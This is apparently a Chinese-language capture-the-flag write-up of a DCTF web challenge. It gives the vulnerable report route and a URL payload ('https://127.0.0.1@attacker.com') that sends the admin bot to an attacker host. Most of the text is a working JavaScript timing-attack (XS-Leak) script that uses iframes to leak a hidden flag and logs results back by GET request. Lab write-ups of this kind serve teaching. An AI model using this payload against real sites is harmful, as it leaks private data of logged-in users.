參考: https://0x90r00t.com/2024/09/30/3708/
題目信息
有些事情最好還是保持低調。當然,除非你是個真正的怪胎。
注意:該網站通過HTTPS提供服務
標志格式:DCTF{}
題目實現了一個類似視頻網站的東西
在其提供的數據庫中我們能看到被ban的視頻,其名稱為flag的值
被ban的東西只能由管理員查看
if movie.banned != False and current_user.role != 'real_freak':movies.pop(i)
此處存在我們可以控制的url
# 定義報告路由,處理 POST 請求,需要登錄才能訪問
@main.route('/report', methods=['POST'])
@login_required
def report():# 構建訪問的 URLurl = "https://127.0.0.1" + request.form.get('movie')# 創建一個新線程,調用 visit 函數訪問該 URLthread = threading.Thread(target=visit,args=(url,))# 啟動線程thread.start()return 'OK'
我們可以構造類似如下的有效負載
https://127.0.0.1@attacker.com
當大文件被加載,其會產生一定的延遲,我們可以使用iframe觀測其加載完成的時間
參考: https://0x90r00t.com/2024/09/30/3708/
<body></body>
<script type="text/javascript">
// 定義所有可能用于破解flag的候選字符集(注意:字符 `_` 缺失,`` 可能存在排版錯誤)
const characters = '| !"#$&\'()*+,-./0123456789:;<=>?@[\\]^``abcdefghijklmnopqrstuvwxyz{}~';// 存儲每個字符的響應時間測量結果
let timings = {};// 當前猜測的flag(初始值為占位flag,實際會通過時間分析逐步破解)
let currentFlag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}';// 當前正在測試的字符索引(按characters順序遍歷)
let charIndex = 0;// 最大測試輪次(初始值為0,可能需要調整以增加準確性)
let maxRounds = 0;// 根據記錄的響應時間對字符排序(降序,時間越長排越前)
function getSortedKeysByTiming(timings) {return Object.keys(timings).sort((a, b) => timings[b] - timings[a]);
}// 向服務器發送日志(用于遠程記錄測試數據)
function log(message) {const xhr = new XMLHttpRequest();xhr.open("GET", "/?" + message); // 將數據通過GET參數發送xhr.send();
}/*** 測量特定字符組合的響應時間* @param {string} char - 當前測試的字符* @param {string} flag - 當前猜測的完整flag(包含已確定字符+測試字符)*/
function measureTiming(char, flag) {// 通過隱藏的iframe發起請求,測量加載時間const iframe = document.createElement('iframe');// 請求本地服務器接口,q參數攜帶猜測的flagiframe.src = 'https://127.0.0.1:5000/watchlist?q=' + encodeURIComponent(flag);document.body.appendChild(iframe);const startTime = performance.now(); // 記錄精確的時間起點// 根據iframe加載結果更新計時數據iframe.onload = () => updateTiming(char, performance.now() - startTime);iframe.onerror = () => updateTiming(char, -1); // 錯誤時記錄-1
}/*** 更新字符計時數據并繼續處理* @param {string} char - 被測試的字符* @param {number} time - 測量的響應時間(毫秒)*/
function updateTiming(char, time) {// 僅保留最大時間值(假設正確字符會觸發更長響應)if (!(char in timings) || time > timings[char]) {timings[char] = time;}log(`${char}: ${time}`); // 發送日志clearFrames(); // 清理iframeprocessNextChar(); // 處理下一個字符
}// 清除所有iframe防止內存泄漏
function clearFrames() {document.body.innerHTML = ''; // 清空body內所有內容
}/*** 主邏輯:按順序測試每個字符,完成一輪后分析結果*/
function processNextChar() {// 遍歷所有候選字符if (charIndex < characters.length) {const currentChar = characters[charIndex];// 測試當前猜測flag+當前字符的組合(例如:"DCTF{a")measureTiming(currentChar, currentFlag + currentChar);charIndex++;} else {// 一輪完成,按響應時間排序字符const sortedKeys = getSortedKeysByTiming(timings);log('fini ' + sortedKeys.join(',')); // 上報結果// 如果還有剩余輪次,重置索引繼續測試(可能需要多輪驗證)if (maxRounds-- > 0) {charIndex = 0;processNextChar();}}
}// 啟動時間攻擊
processNextChar();
</script>